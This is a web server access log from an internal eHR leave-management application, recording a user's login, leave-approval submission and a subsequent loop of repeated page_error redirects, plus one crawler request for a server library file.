192.168.12.66 - - [05/Sep/2025:19:44:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_flat_55_fbec88_40x100.png HTTP/1.1" 200 182 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:19:44:33 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_d8e7f3_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029347667950446743 HTTP/1.1" 200 16008 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:49 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029347667950446743 HTTP/1.1" 200 16008
192.168.12.66 - - [05/Sep/2025:19:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029347667950446743 HTTP/1.1" 200 18191 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029347667950446743" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:53 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.029347667950446743 HTTP/1.1" 200 18191
192.168.12.66 - - [05/Sep/2025:19:44:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216
192.168.12.66 - - [05/Sep/2025:19:44:57 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4216 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:59 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084
192.168.12.66 - - [05/Sep/2025:19:44:59 +0800] "GET /eHR/img/Y.png HTTP/1.1" 200 1084 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:44:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369
192.168.12.66 - - [05/Sep/2025:19:44:59 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_2e83ff_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.83:8088/eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
100.64.0.1 - - [05/Sep/2025:19:46:21 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36"
100.64.0.1 - - [05/Sep/2025:19:46:21 +0800] "GET /Apache%20Software%20Foundation/Apache2.2/bin/iconv/cp273.so HTTP/1.1" 200 20572
192.168.12.66 - - [05/Sep/2025:19:51:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 30437 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE000&appdesc=%E5%8A%A9%E7%90%86%E6%A1%8C%E9%9D%A2 HTTP/1.1" 200 30437
192.168.12.66 - - [05/Sep/2025:19:51:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.12.66 - - [05/Sep/2025:19:51:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.12.66 - - [05/Sep/2025:19:51:14 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:23 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220
192.168.12.66 - - [05/Sep/2025:19:51:28 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 7220 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10395 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:30 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10395
192.168.12.66 - - [05/Sep/2025:19:51:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697
192.168.12.66 - - [05/Sep/2025:19:51:32 +0800] "GET /eHR/js/i18n/ui.datepicker-zh-CN.min.js HTTP/1.1" 200 697 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:37 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268 "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:37 +0800] "GET /eHR/img/pe.png HTTP/1.1" 200 1268
192.168.12.66 - - [05/Sep/2025:19:51:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 150702
192.168.12.66 - - [05/Sep/2025:19:51:33 +0800] "GET /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 200 150702 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNH000" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:42 +0800] "POST /eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D131090%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131090&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:43 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_success&msgtxt=%E6%82%A8%E7%9A%84%E7%B0%BD%E6%A0%B8%EF%BC%8C%E5%B7%B2%E6%88%90%E5%8A%9F%E6%8F%90%E4%BA%A4%E5%88%B0%E5%BE%8C%E5%8F%B0%E8%99%95%E7%90%86.%3Cbr%3E%E6%82%A8%E5%8F%AF%E4%BB%A5%E7%82%B9%3Ca+href%3D%22..%2Fess%2Fredirect.php%3Fscriptname%3DESNH101%26requestno%3D131090%22%3E%E9%80%99%E8%A3%A1%3C%2Fa%3E%E6%9F%A5%E7%9C%8B%E7%B0%BD%E6%A0%B8%E7%B5%90%E6%9E%9C%E3%80%82%3Cbr%3E%E6%89%B9%E6%AC%A1%E8%99%9F%3A131090&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_success%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:44 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:45 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 -
192.168.12.66 - - [05/Sep/2025:19:51:46 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH104&appdesc=%E8%AF%B7%E5%81%87%E5%BE%85%E7%AD%BE" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:142.0) Gecko/20100101 Firefox/142.0"
